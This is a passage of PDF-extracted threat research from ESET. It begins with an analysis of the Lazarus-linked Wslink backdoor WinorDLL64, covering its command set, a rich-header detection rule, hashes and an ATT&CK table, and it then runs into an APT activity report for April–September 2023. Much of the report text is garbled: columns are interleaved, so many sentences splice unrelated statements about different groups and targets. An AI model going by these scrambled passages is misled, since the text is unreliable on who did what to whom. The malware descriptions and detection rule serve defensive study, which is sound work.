observed only a few hits. Figure 1. Reported South Korean victim, where mstoned7 is the researcher from Ahnlab 2. Malware The latest GhostSecret sample reported by McAfee (FE887FCAB66D7D7F79F05E0266C0649F0114BA7C) is from February 2018; we spotted the first sample of Wslink in late 2018 and fellow researchers reported hits in August 2018, which they disclosed after our publication. Hence, these samples were spotted a relatively short period of time apart. 2/11 The PE rich headers indicate that the same development environment and projects of similar size were used in several other known Lazarus samples (e.g., 70DE783E5D48C6FBB576BC494BAF0634BC304FD6; 8EC9219303953396E1CB7105CDB18ED6C568E962). We found this overlap using the following rules that cover only these Wslink and Lazarus samples, which is an indicator with a low weight. We tested them on VirusTotal s retrohunt and our internal file corpus. rich_signature.length == 80 and pe.rich_signature.toolid(175, 30319) == 7 and pe.rich_signature.toolid(155, 30319) == 1 and pe.rich_signature.toolid(158, 30319) == 10 and pe.rich_signature.toolid(170, 30319) >= 90 and pe.rich_signature.toolid(170, 30319) <= 108 This rule can be translated to the following notation that is more readable and used by VirusTotal, where one can see the product version and build ID (VS2010 build 30319), number and type of source/object files used ([LTCG C++] where LTCG stands for Link Time Code Generation, [ASM], [ C ]), and number of exports ([EXP]) in the rule: [LTCG C++] VS2010 build 30319 count=7 [EXP] VS2010 build 30319 count=1 [ASM] VS2010 build 30319 count=10 [ C ] VS2010 build 30319 count in [ 90 .. 108 ] The GhostSecret article described a unique data-gathering and implant-installation component that listens on port 443 for inbound control server connections that additionally ran as a service. This is an accurate description of Wslink downloader behavior, apart from the port number, which can vary based on the configuration. To sum it up, even though the implementation is different, both serve the same purpose. The loader is virtualized by Oreans Code Virtualizer, which is a commercial protector that is used frequently by Lazarus. The loader uses the MemoryModule library to load modules directly from memory. The library is not commonly used by malware, but it is quite popular among North Koreaaligned groups such as Lazarus and Kimsuky. Overlap in the code between WinorDLL64 and GhostSecret that we found during our analysis. The results and the significance in attribution are listed in Table 1. Table 1. Similarities between WinorDLL64 and GhostSecret and their significance in attributing both to the same threat actor Other similarities between WinorDLL64 and GhostSecret Impact Code overlap in code responsible to get processor architecture 3/11 Other similarities between WinorDLL64 and GhostSecret Impact Code overlap in current directory manipulation Code overlap in getting the process list Code overlap in file sending Behavior overlap in listing processes Behavior overlap in current directory manipulation Behavior overlap in file and directory listing Behavior overlap in listing volumes Behavior overlap in reading/writing files Behavior overlap in creating processes Considerable behavior overlap in secure removal of files Considerable behavior overlap in termination of processes Considerable behavior overlap in collecting system information Code overlap in the file sending functionality is highlighted in Figure 2 and Figure 3. Figure 2. GhostSecret sending a file 4/11 Figure 3. Wslink sending a file Technical analysis WinorDLL64 serves as a backdoor that most notably acquires extensive system information, provides means for file manipulation, and executes additional commands. Interestingly, it communicates over a TCP connection that was already established by its loader and uses some of the loader s functions. 5/11 Figure 4. Visualization of Wslink s communication The backdoor is a DLL with a single unnamed export that accepts one parameter a structure for communication that was already described in our previous blogpost. The structure contains a TLS-context socket, key, IV and callbacks for sending and receiving messages encrypted with 256-bit AES-CBC that enable WinorDLL64 to exchange data securely with the operator over an already established connection. The following facts lead us to believe with high confidence that the library is indeed part of Wslink: The unique structure is used everywhere in the expected way, e.g., the TLS-context and other meaningful parameters are supplied in the anticipated order to the correct callbacks. The name of the DLL is WinorDLL64.dll and Wslink s name was WinorLoaderDLL64.dll. WinorDLL64 accepts several commands. Figure 5 displays the loop that receives and handles commands. Each command is bound to a unique ID and accepts a configuration that contains additional parameters. 6/11 Figure 5. The main part of the backdoor s command-receiving loop The command list, with our labels, is in Figure 6. Figure 6. The command list Table 2 contains a summary of the WinorDLL64 commands, where modified, and old categories refer to the relationship to the previously documented GhostSecret functionality. We highlight only significant changes in the modified category. Table 2. Overview of backdoor commands Category Command Functionality Description 7/11 Category Command Modified Functionality Description 0x03 Execute a PowerShell command WinorDLL64 instructs the PowerShell interpreter to run unrestricted and to read commands from standard input. Afterwards, the backdoor passes the specified command to the interpreter and sends the output to the operator. 0x09 Compress and download a directory WinorDLL64 recursively iterates over a specified directory. The content of each file and directory is compressed separately and written to a temporary file that is afterwards sent to the operator and then removed securely. 0x0D Disconnect a session Disconnects a specified logged-on user from the user s Remote Desktop Services session. The command can also perform different functionality based on the parameter. 0x0D List sessions Acquires various details about all sessions on the victim s device and sends them to the operator. The command can also perform different functionality based on the parameter. 0x0E Measure connection time Uses the Windows API GetTickCount to measure the time required to connect to a specified host. 0x01 Get system info Acquires comprehensive details about the victim system and sends them to the operator. 0x0A Remove files securely Overwrites specified files with a block of random data, renames each file to a random name, and finally securely removes them one by one. 0x0C Kill processes Terminates all processes whose names match a supplied pattern and/or with a specific PID. 0x02/0x0B Create a process Creates a process either as the current or specified user and optionally sends its output to the operator. 0x05 Set/Get current directory Attempts to set and subsequently acquire the path of the current working directory. 0x06 List volumes Iterates over drives from C: to Z: and acquires the drive type and volume name. The command can also perform different functionality based on the parameter. 8/11 Category Command Functionality Description 0x06 List files in a directory Iterates over files in specified directory and acquires information such as names, attributes, etc. The command can also perform different functionality based on the parameter. 0x07 Write to a file Downloads and appends the stated amount of data to specified file. 0x08 Read from a file The specified file is read and sent to the operator. 0x0C List processes Acquires details about all running processes on the victim s device and additionally sends ID of the current process. Conclusion Wslink s payload is dedicated to providing means for file manipulation, execution of further code, and obtaining extensive information about the underlying system that possibly can be leveraged later for lateral movement, due to specific interest in network sessions. The Wslink loader listens on a port specified in the configuration and can serve additional connecting clients, and even load various payloads. WinorDLL64 contains an overlap in the development environment, behavior, and code with several Lazarus samples, which indicates that it might be a tool from the vast arsenal of this North-Korea aligned APT group. ESET Research offers private APT intelligence reports and data feeds. For any inquiries about this service, visit the ESET Threat Intelligence page. IoCs SHA-1 ESET detection name Description 1BA443FDE984CEE85EBD4D4FA7EB1263A6F1257F Win64/Wslink.A Memory dump of discovered Wslink payload WinorDll64. MITRE ATT&CK techniques 9/11 This table was built using version 12 of the ATT&CK framework. We do not mention techniques from the loader again, only the payload. Tactic Name Description Resource Development T1587.001 Develop Capabilities: Malware WinorDLL64 is a custom tool. Execution T1059.001 Command and Scripting Interpreter: PowerShell WinorDLL64 can execute arbitrary PowerShell commands. T1106 Native API WinorDLL64 can execute further processes using the CreateProcessW and CreateProcessAsUserW APIs. T1134.002 Access Token Manipulation: Create Process with Token WinorDLL64 can call APIs WTSQueryUserToken and CreateProcessAsUserW to create a process under an impersonated user. T1070.004 Indicator Removal: File Deletion WinorDLL64 can securely remove arbitrary files. T1087.001 Account Discovery: Local Account WinorDLL64 can enumerate sessions and list associated user, and client names, among other details. T1087.002 Account Discovery: Domain Account WinorDLL64 can enumerate sessions and list associated domain names among other details. T1083 File and Directory Discovery WinorDLL64 can obtain file and directory listings. T1135 Network Share Discovery WinorDLL64 can discover shared network drives. T1057 Process Discovery WinorDLL64 can collect information about running processes. T1012 Query Registry WinorDLL64 can query the Windows registry to gather system information. Defense Evasion Discovery 10/11 Tactic Collection Impact Name Description T1082 System Information Discovery WinorDLL64 can obtain information such as computer name, OS and latest service pack version, processor architecture, processor name, and amount of space on fixed drives. T1614 System Location Discovery WinorDLL64 can obtain the victim s default country name using the GetLocaleInfoW API. T1614.001 System Location Discovery: System Language Discovery WinorDLL64 can obtain the victim s default language using the GetLocaleInfoW API. T1016 System Network Configuration Discovery WinorDLL64 can enumerate network adapter information. T1049 System Network Connections Discovery WinorDLL64 can collect a list of listening ports. T1033 System Owner/User Discovery WinorDLL64 can enumerate sessions and list associated user, domain, and client names among other details. T1560.002 Archive Collected Data: Archive via Library WinorDLL64 can compress and exfiltrate directories using the quicklz library. T1005 Data from Local System WinorDLL64 can collect data on the victim device. T1531 Account Access Removal WinorDLL64 can disconnect a logged-on user from specified sessions. 23 Feb 2023 - 11:30AM 11/11 APT Activity Report GOVERNMENT ESPIONAGE AND UNPATCHED VULNERABILITIES April 2023 September 2023 (eset):research ESET APT ACTIVITY REPORT APRIL - SEPTEMBER 2023 | 2 Contents Executive summary Middle Eastern groups Targeted countries and verticals POLONIUM China-aligned groups North Korea-aligned groups Mustang Panda Andariel FishMonger Lazarus TA410 ScarCruft GREF Kimsuky MirrorFace Konni GALLIUM Russia-aligned groups DigitalRecyclers Sandworm TheWizards Gamaredon PerplexedGoblin Turla Worok Sednit India-aligned groups Other Donot Team SturgeonPhisher Iran-aligned groups Winter Vivern MuddyWater About ESET OilRig ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER | 3 Executive summary Welcome to the latest issue of the ESET APT Activity Report! This report summarizes the activities of selected advanced persistent an unidentified entity in Saudi Arabia, deploying a payload that suggests groups: DigitalRecyclers, repeatedly compromising a governmental threat (APT) groups that were observed, investigated, and analyzed the possibility of this threat actor serving as an access development organization in the EU; TheWizards, conducting adversary-in-the- by ESET researchers from April 2023 until the end of September 2023. team for a more advanced group. middle attacks; and PerplexedGoblin, targeting another government In the monitored timespan, we observed a notable strategy of APT organization in the EU. groups utilizing the exploitation of known vulnerabilities to exfiltrate The prime target of Russia-aligned groups remained Ukraine, where data from governmental entities or related organizations. Russia-aligned we discovered new versions of the known wipers RoarBat and ESET APT Activity Reports contain only a fraction of the cybersecurity Sednit and Sandworm, North Korea-aligned Konni, and geographically NikoWiper, and a new wiper we named SharpNikoWiper, all deployed intelligence data provided to customers of ESET s private APT reports. unattributed Winter Vivern and Sturgeon Phisher seized the opportunity by Sandworm. Interestingly, while other groups such as Gamaredon, ESET researchers prepare in-depth technical reports and frequent to exploit vulnerabilities in WinRAR (Sednit, SturgeonPhisher, and GREF, and SturgeonPhisher target Telegram users to try to exfiltrate activity summaries detailing activities of specific APT groups, in the Konni), Roundcube (Sednit and Winter Vivern), Zimbra (Winter Vivern), information or at least some Telegram-related metadata, Sandworm form of ESET APT Reports PREMIUM, to help organizations tasked with and Outlook for Windows (Sednit) to target various governmental uses this service for active measure purposes, advertising its cyber- protecting citizens, critical national infrastructure, and high-value assets organizations in Ukraine, Europe, and Central Asia. Regarding China- sabotage operations. However, Gamaredon remained the most active from criminal and nation-state-directed cyberattacks. Comprehensive aligned threat actors, GALLIUM probably exploited weaknesses in group in Ukraine, significantly enhancing its data-collecting capabilities descriptions of activities described in this document were therefore Microsoft Exchange servers or IIS servers, extending its targeting from by redeveloping existing tools and deploying new ones. previously provided exclusively to our premium customers. More telecommunications operators to government organizations around information about ESET APT Reports PREMIUM and its delivery of the world; MirrorFace probably exploited vulnerabilities in the Proself North Korea-aligned groups continued to focus on Japan, South high-quality, strategic, actionable, and tactical cybersecurity threat online storage service; and TA410 probably exploited flaws in the Adobe Korea, and South Korea-focused entities, employing carefully crafted intelligence is available at the ESET Threat Intelligence page. ColdFusion application server. spearphishing emails. The most active Lazarus scheme observed was Operation DreamJob, luring targets with fake job offers for lucrative ESET products protect our customers systems from the malicious Iran- and Middle East-aligned groups continued to operate at positions. This group consistently demonstrated its capability to create activities described in this report. Intelligence shared here is based high volume, primarily focusing on espionage and data theft from malware for all major desktop platforms. Finally, our researchers mostly on proprietary ESET telemetry data and has been verified by organizations in Israel. Notably, Iran-aligned MuddyWater also targeted uncovered the operations of three previously unidentified China-aligned ESET researchers. ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET Targeted countries and verticals TARGETED COUNTRIES AND REGIONS TARGETED BUSINESS VERTICALS Armenia Pakistan Bangladesh Philippines Gambling companies and their customers Central Asia Poland Governmental organizations and entities China Saudi Arabia Hosting providers Czechia Serbia Industrial networks European Union Slovakia IT companies French Polynesia South Korea Local governments and institutions Greece Tajikistan Media organizations Guyana rkiye (aka Turkey) Political entities Hong Kong Ukraine Private companies Israel United Arab Emirates Scholars and journalists specializing in North Korea Japan United States Research institutes Kuwait Uyghurs and other Turkic ethnic minorities Telecommunication operators Mali Universities APRIL - SEPTEMBER | 4 ESET APT ACTIVITY REPORT Executive summary China Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 5 ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 6 Mustang Panda FishMonger TA410 GREF MirrorFace GALLIUM DigitalRecyclers TheWizards PerplexedGoblin Worok Summary of China-aligned APT group activity seen by ESET Research in April 2023 September 2023 During the past six months, ESET researchers continued to observe several Targets first received a spearphishing email with a tracking pixel, enabling box (see Figure 1) and if the visitor clicks on OK, a Windows executable is China-aligned APT groups targeting European government organizations, the attacker to know when the target opens the email. A malicious link is downloaded onto the device. including Mustang Panda and a group we named DigitalRecyclers. We also then sent in a second email. We believe the goal is to identify users who are observed a governmental entity in Guyana being targeted by a cluster of more likely to open phishing emails and target them specifically in order to activity we named Operation Jacana, a governmental entity in Kuwait and reduce the risk of the payload being reported to IT or security services. a hosting provider targeted by TA410 and, finally, a watering hole attack by FishMonger against a Pakistani government website. In the same period, MirrorFace continued to heavily target Japanese organizations. We also uncovered a China-aligned APT group, which we named TheWizards, spying on Chinese speakers in mainland China and abroad using adversary-in-themiddle (AitM) attacks. We also discovered that the Worok APT group has developed a new Go backdoor that we have named GoFighting. That malicious link leads to a ZIP archive containing a LNK file that downloads and executes an HTA script, which then deploys the group classic trident Korplug loader. The only significant difference here being that the malicious DLL is written in Nim. While this is the first instance we could find of Mustang Panda using Nim, it is consistent with the group recent exploration of new programming languages and technology. Over the last months, we also observed Mustang Panda increasingly relying Mustang Panda on Cloudflare to hide its actual C&C and distribution servers. In August, ESET researchers identified a campaign by Mustang Panda FishMonger targeting a governmental organization in Slovakia. There is no indication leading us to think that this organization was successfully compromised. It is worth noting that this Mustang Panda spearphishing operation happened amidst the political campaigns for the Slovak parliamentary elections. In July, ESET researchers detected a watering-hole attack on a legitimate, but presumably compromised, Pakistani government website. If the visitor is using a computer, not a smartphone, the script displays an alert Figure 1. Malicious alert box The downloaded executable is a backdoor named Trochilus, which is commonly used by other China-aligned APT groups such as Webworm. However, the C&C server had typical characteristics of the ShadowPad servers deployed by FishMonger. Therefore, we believe with medium confidence that FishMonger is behind this watering-hole attack and is a Trochilus backdoor user. ESET APT ACTIVITY REPORT Executive summary TA410 The various TA410 subgroups were defined in a WeLiveSecurity blogpost. FlowingFrog Targeted countries and verticals China India This version of LookBack is almost identical to those we described in our WeLiveSecurity blogpost, while the Stegmap sample downloads a image containing the encrypted next stage encoded in the image. Iran Middle East North Korea Russia Other GREF We recently published a WeLiveSecurity blogpost documenting two active campaigns targeting Android users, that we attribute to the GREF group. About ESET APRIL - SEPTEMBER 2023 | 7 The campaigns have distributed the Android BadBazaar espionage code through the Google Play store, Samsung Galaxy Store, and dedicated websites representing the malicious apps Signal Plus Messenger and FlyGram. The threat actors patched the opensource Signal and Telegram apps for Android with In mid 2023, we observed activity by the FlowingFrog malicious code that we have identified as BadBazaar, TA410 subgroup on the server of a US hosting provider. which has previously been used to target Uyghurs and We detected samples of the Tendyron backdoor other Turkic ethnic minorities. Based on our research, that were deployed after the attacker unsuccessfully potential victims were also lured to install the malicious tried to deploy multiple Jakarta Server Pages (JSP) FlyGram app from a Uyghur Telegram group focused web backdoors. The Tendyron backdoor and multiple on Android app sharing; see Figure 2. variations of the JSP web backdoor were transferred to The purpose of these trojanized apps is to exfiltrate the server in quick succession. user data and, specifically in Signal Plus Messenger, to We believe initial access was achieved by exploiting spy on victims Signal communication. After publishing a known vulnerability, since the affected server our blogpost, Volexity published a report on three was running an out-of-date version of the Adobe Android malware families BadBazaar, BadSignal, and ColdFusion application server. BadSolar and attributed them to a group they call EvilBamboo. More specifically, the BadSignal malware LookingFrog family analyzed by Volexity is what ESET has described ESET researchers observed activity in our telemetry as trojanized Signal and Telegram applications, with the by the LookingFrog TA410 subgroup on a computer added malicious code that has the same functionality belonging to a governmental entity in Kuwait. We as earlier BadBazaar variants reported by Lookout. detected a sample of the group s custom LookBack In order to avoid confusion: moving forward, we will implant, along with the Stegmap backdoor and a adopt this naming convention to distinguish between persistence tool; both of the latter two were previously the original BadBazaar, and its BadSignal variant, which attributed to Looking Frog in a blogpost by Symantec. is delivered via trojanized applications. Figure 2. Signal Plus Messenger apps on Google Play (left; no longer available), Samsung Galaxy Store (center), and the FlyGram app on Galaxy Store (right) ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals MirrorFace MirrorFace continued with its campaigns targeting Japanese entities exclusively. In August 2023, we observed an interesting change in the attack vector: instead of compromising an entity via the victim opening a malicious attachment to a spearphishing email, MirrorFace compromised an IT company through a vulnerable server. Our analysis of the incident indicates that the server was most likely compromised through a vulnerable instance of Proself, an online storage service. Proself released an advisory in July 2023 stating that its products contained an authentication bypass and zero-day remote code execution vulnerability that had been confirmed to be already exploited. China India Iran Middle East North Korea United Arab Emirates, and Hong Kong), and against gambling companies the attackers exploited one or more of the various remote code execution based outside mainland China. ESET researchers discovered this threat vulnerabilities discovered in the past few years on these platforms, or actor when a malicious update was downloaded by a popular, legitimate reused already deployed webshells in order to deploy their own implants. Chinese application. On the compromised systems, GALLIUM deployed mim221, a custom TheWizards group has capabilities to conduct adversary-in-the-middle credential theft implant based on Mimikatz. (AitM) attacks using a custom tool we discovered and have named DigitalRecyclers ESET researchers uncovered the activity of a newly identified cyberespionage group, which we have named DigitalRecyclers, that Union since 2018, using a toolset originally developed by threat actors from time of a research institute. MirrorFace delivered its flagship backdoor Pakistan in the 2010s. enriched its toolset repertoire and, besides its in-house developed malware, MirrorFace has started using publicly available exploitation tools as well. GALLIUM During the last six months, ESET researchers have observed GALLIUM In a recent incident, we were able to determine that the attackers dropped a first-stage downloader through a Microsoft Exchange web server accessible from the internet. Interestingly, attackers accessed the victim s server using a custom VPN service that is also used by BackdoorDiplomacy. The use of such custom anonymization networks is an ongoing trend among China-aligned threat actors. We believe that DigitalRecyclers is loosely linked to BackdoorDiplomacy and the wider APT15 family. compromising telecommunications operators in Mali, T rkiye, and French Polynesia, and a government organization in Guatemala. We discovered these campaigns while monitoring implants known to have been used by GALLIUM in the past, including the recently documented toolset used during Operation Tainted Love. APRIL - SEPTEMBER 2023 | 8 Microsoft IIS servers, all with numerous webshells detected; it s likely that the same trend and once again compromised a vulnerable server, but this frp, and a previously undescribed backdoor. This shows that MirrorFace has About ESET individuals based in mainland China and abroad (e.g., the Philippines, the repeatedly compromised a governmental organization in the European EfsPotato, DCOMPotato, FullPowers, Yasso, the customized reverse proxy Other Most of the compromised systems are Microsoft Exchange servers or A few days after the aforementioned incident, MirrorFace continued on LODEINFO alongside various publicly available exploitation tools such as Russia TheWizards TheWizards is a China-aligned APT group active since at least 2021, engaging in cyberespionage operations against Chinese-speaking Spellbinder. This tool uses IPv6 SLAAC spoofing to redirect traffic and deliver custom malware via software updates by legitimate applications. The tools developed by this group include two backdoors that we ve named WizardNet and DarkNights. Since gambling is illegal under Chinese law and Chinese citizens thus turn to foreign online gambling companies, this would explain why TheWizards group spies on such companies, most likely to identify Chinese citizens infringing the law. This is not the first time we have witnessed a China-aligned APT group targeting gambling companies: Operation ChattyGoblin, which we mentioned in our previous APT activity report, compromised a gambling company in the Philippines by targeting its support agents. PerplexedGoblin ESET researchers recently discovered a government organization in the European Union being targeted by an APT group we have named PerplexedGoblin. It uses a backdoor, TurboSlate, that we discovered and named in November 2022. In our T3 2022 APT Activity Report, we mentioned the discovery of this new backdoor in a government organization in the European Union; it can ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals be deployed in various ways, including a DLL side-loading chain and a bring your own vulnerable software (BYOVS) chain. At that time, we attributed TurboSlate with medium confidence to Goblin Panda. However, after tracking the threat actor behind TurboSlate for months, we reevaluated our initial assessment: without a strong enough link between TurboSlate and a known group, we now track this activity cluster as PerplexedGoblin. Worok Worok is a China-aligned cyberespionage group, active since at least 2020, that targets high-profile companies and local governments mostly in Asia, which we first documented in a WeLiveSecurity blogpost. ESET researchers discovered a previously undocumented Go backdoor that we have named GoFighting and that we attribute to Worok. GoFighting is a reimplementation of Worok s PowHeartBeat backdoor and the GoFighting commands are the same as the ones used by Worok PowHeartBeat backdoor. A noticeable difference from PowHeartBeat is the presence in GoFighting of a network fallback mechanism based on GitHub. China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 9 ESET APT ACTIVITY REPORT Executive summary India Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 10 ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 11 Donot Team Summary of India-aligned APT group activity seen by ESET Research in April 2023 September 2023 Donot Team During the last six months, we noticed most threat actors in the region moving away from malicious RTF In the mobile threat landscape, we saw threat actors (Rich Text Format) files and Equation Editor exploits, increasing their efforts and a continuing evolution and trying to find new, reliable ways of distributing of threats. Donot Team reportedly managed to their malware. We detected attempts to use LNK publish its Android trojan on the Google Play store for (Windows shortcut) files, as well as CHM (Compiled approximately two months; however, the number of HTML Help) and HTA (HTML Application) files, with victims is estimated to be only in the low hundreds. varying degrees of success. The most prevalent Speaking of Donot Team, in Q2 and Q3 of 2023 it compromise vector remains a spearphishing email with continued its attacks on government organizations, a macro-enabled Office document in the attachment. mostly in Pakistan and Bangladesh. The group s yty Considering the prevalent use of the Zimbra framework is still being developed, with a steady collaboration suite in this region, it is no surprise to see stream of incremental updates. that frequent phishing attempts targeting government organizations continue (we've documented similar attacks in this WeLiveSecurity blogpost) in Q2 and Q3 of 2023; most of them use free, dynamic DNS services, such as servehttp.com or viewdns.net, both owned by No-IP. We also have detected repeated phishing attempts imitating the Bangladesh Army Outlook Web Access portal; see Figure 3. Figure 3. Phishing page imitating the Bangladesh Army webmail portal ESET APT ACTIVITY REPORT Iran Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 12 ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 13 MuddyWater OilRig Summary of Iran-aligned APT group activity seen by ESET Research in April 2023 September 2023 Over the course of Q2 and Q3 2023, ESET researchers continued tracking C&C servers. The secondary payload, a PowerShell-based backdoor, can In early July, we observed a new variant of OilRig s backdoor, Mango, that Iran-aligned threat groups targeting victims in Israel (OilRig) and Saudi download and execute arbitrary payloads. It removes the first payload from was uploaded to VirusTotal1 by a user in the Netherlands. Five additional Arabia (MuddyWater). The latter group continues to build and deploy disk, performs some information gathering on the compromised host, and samples were submitted within the following week, mostly with the PowerShell-based backdoors with a focus on initial access and data begins beaconing to the C&C server every 10 seconds. file path %ALLUSERSPROFILE%\Office356\Menorah. The sample is a collection, possibly as an access development team for a more advanced group. Finally, OilRig has been observed developing and deploying C++ and C#/.NET backdoors that are generally full-featured backdoors. Initial access for OilRig still seems to be via spearphishing emails, particularly when targeting local governments in Israel an effort on which OilRig has spent considerable time going back to 2021. OilRig In April, we observed OilRig deploying a new toolset to several victims in Israel. The backdoor, OilForceGTX (named after its filename, gtx.exe), is deployed in C:\ProgramData\NVIDIA GTX\v10.1, a path that mimics legitimate NVIDIA software. OilRig also deployed two helper DLLs, MuddyWater NotifyTrayLib and Nuget_Tools, to the same directory. These DLLs are In March 2023, prior to the attack on the Israel Institute of Technology OilForceGTX to evade detection. In conjunction with this discovery, we also (aka Technion) by DarkBit (a joint effort between MuddyWater and an uncovered a Microsoft Excel spreadsheet with a malicious macro that drops unidentified group), ESET researchers were tracking the C&C infrastructure OilForceGTX, along with the original email used to deliver the spreadsheet. used by DarkBit as MuddyWater s. After that ransomware attack, Both files were uploaded to VirusTotal by a user in Israel. Based on the MuddyWater continued well into April to use the same C&C servers upload location and content, we assess that OilRig was probably targeting to target an unidentified victim in Saudi Arabia. The initial vector of a local government institution in Israel, which aligns closely with OilRig compromise is unknown, but post-compromise activities included the activity over the past two years. deployment of a batch script that downloaded a second payload from the SHA-1: C9D18D01E1EC96BE952A9D7BD78F6BBB4DD2AA2A meant to provide runtime support in the form of additional modules for C#/.NET first-stage backdoor and contains small updates to the first version of Mango that we discovered in early 2023. Both versions support the same capabilities, with only small changes in the implementation and constants. Some interesting changes are the changing of the filename and internal name of the assembly from Mango to Menorah and the modification of the symbol names throughout the code, probably using an obfuscator/name generator. The C&C server was updated, but the URL structure, encryption key, and C&C protocol remained the same. ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Middle East Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 14 ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 15 POLONIUM Summary of Middle Eastern APT group activity seen by ESET Research in April 2023 September 2023 POLONIUM POLONIUM continues to field PowerShell-based backdoors, but also uses Python-based backdoors with a heavy focus on exploiting victims in Israel for espionage and data theft. In April, we observed POLONIUM deploying a new backdoor, CreepyPie, to an unidentified organization in Israel. CreepyPie is a Python script that connects to a remote C&C server, receives and executes commands, and sends the output back to the C&C server. The attackers used a short VBScript to invoke CreepyPie, probably persisting in compromised systems by executing the VBScript from a scheduled task. CreepyPie uses the WebSocket protocol to communicate with its C&C server. Operator command options include taking a screenshot (saved as GameTools.png) and any command accessible through cmd.exe (with output saved as a plain text file that is misleadingly named GameTools.dll). POLONIUM continues to rely on the CreepySnail backdoor to target victims in Israel. We also saw the group utilize legitimate utilities such as ntdsutil.exe a command line tool for managing Active Directory to dump the Active Directory database. CreepySnail can then be used to extract such information from the compromised system. ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran North Korea Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 16 ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 17 Andariel Lazarus ScarCruft Kimsuky Konni Summary of North Korea-aligned APT group activity seen by ESET Research in April 2023 September 2023 During the last six months, ESET researchers continued to track the In general, the attackers TTPs still include the easy-to-detect usage MultiLayerSwap appeared to be a cryptocurrency trading platform offering development of several North Korea-aligned threat actors. Andariel and of native Windows command prompt tools in order to perform instant transfers across different blockchains. However, MultiLayerSwap did ScarCruft both targeted Japanese institutions, while most of the observed reconnaissance and lateral movement. not appear very trustworthy and after a brief examination we concluded Lazarus activities were associated with the Operation DreamJob cluster. We also continued to investigate the use of the SimpleTea malware family: a common code base used by the Lazarus group to create malware for all major desktop OS platforms: Windows, Linux, and macOS. Finally, Kimsuky continued its targeting of international scholars and journalists specializing in North Korea, and Konni remained active in South Korea. Lazarus highlights Lazarus s ongoing targeting of cryptocurrency-related entities. We saw activity mostly belonging to the Operation DreamJob cluster in We also continued to observe Lazarus using macOS payloads against its this period. In April 2023, we wrote about new Linux malware, OdicLoader and SimplexTea, in connection with the infamous 3CX supply-chain attack. OdicLoader is an ELF downloader responsible for fetching and executing Andariel the SimplexTea Linux backdoor from the OpenDrive cloud service. At the In late May 2023, we observed an attack against an industrial network backdoor was in fact part of a common Lazarus code base used for all in Japan, conducted by the Andariel group. Various custom tools were major desktop platforms: Windows, Linux, and macOS. After discovering deployed, such as an infostealer we have named Shoplifter, capable this commonality, we decided to use the SimpleTea name for all malware of logging keystrokes, stealing clipboard content, and exfiltrating the derived from this common code base, even if there are slight variations in file system structure. Interestingly, the attackers also deployed AutoIt their functionalities. malware with very similar capabilities. Finally, we also observed a simple HTTP downloader capable of retrieving AES-128-encrypted payloads, and SpyXstealer, a custom tool used to steal browser data such as passwords and credit card information. SHA-1: CB123A197A3BAA8865A3CA2CEE25022D0A578371 SHA-1: 744A816A4D9FBC0B358500B25E6F5AFD7B52C718 that it is a copycat of a legitimate cBridge project by CelerNetworks. This time, we did not know that the code used to compile the SimplexTea Linux In September, a user from Slovenia submitted a new variant of OdicLoader2 to VirusTotal . While the variant discussed in our blogpost was disguised as an HSBC-themed job offer, this one has a MultiLayerSwap theme. targets. Samples of SimpleTea for macOS were uploaded to VirusTotal3 from Hong Kong and China, and we also discovered a macOS WebbyTea downloader. Its associated Python loader has code to pick a payload according to the OS it is executed on: Windows, Linux, or Darwin (the core Unix system of macOS). This illustrates again the capability and willingness of the Lazarus group to attack all major operating systems. ScarCruft In this period, ScarCruft continued to target entities in South Korea, but also in Japan. It still relies on Ruby scripts in some of its campaigns, but also the RokRAT backdoor. In September, a ZIP archive containing a malicious LNK file named Korea National Intelligence Society 2023 Summer Academic ESET APT ACTIVITY REPORT Executive summary Targeted countries and verticals China India Iran Middle East North Korea Russia Other About ESET APRIL - SEPTEMBER 2023 | 18 Conference and 5th National Strategy files containing BAT and VBS downloaders. Very similar Colloquium (Final) - Korea's national compromise chains have also been reported to be used security and intelligence in a period of by the other North Korea-aligned APT groups Kimsuky great transition.lnk was uploaded to VirusTotal4 (text in Chinese) and ScarCruft. The campaign s initial from South Korea. payload filenames mention taxes, salaries, or contracts, such as .hwp.lnk Once executed, a decoy PDF is opened (see Figure 4) (machine translation: Information on submitting and shellcode is downloaded from OneDrive. At the time of analysis, the server responded with shellcode comprehensive income tax explanation containing the RokRAT backdoor, illustrating the and .txt.lnk (machine translation: materials to the National Tax Service) continuing usage of this backdoor by ScarCruft. Corporate rental contract). Kimsuky Interestingly, we detected an attempt by Konni to abuse a recent WinRAR vulnerability: CVE 2023- Kimsuky adjusted its approaches and, like many other 38831. A crafted, misnamed ZIP file (wallet_ threat actors, started to utilize tools such as OneNote, Screenshot_2023_09_06_Qbao_Network.rar) Compiled HTML Help (CHM), and Windows shortcut containing a decoy HTML page as well as a malicious (LNK) files in its campaigns. The group also rewrote executable a downloader was uploaded to some of its malware in Go to evade detections and to VirusTotal5. The decoy document contains screenshots get the upper hand against security solutions. Kimsuky s most notable activity is its continuation of a spearphishing campaign targeting analysts, academic scholars, researchers, and journalists who focus 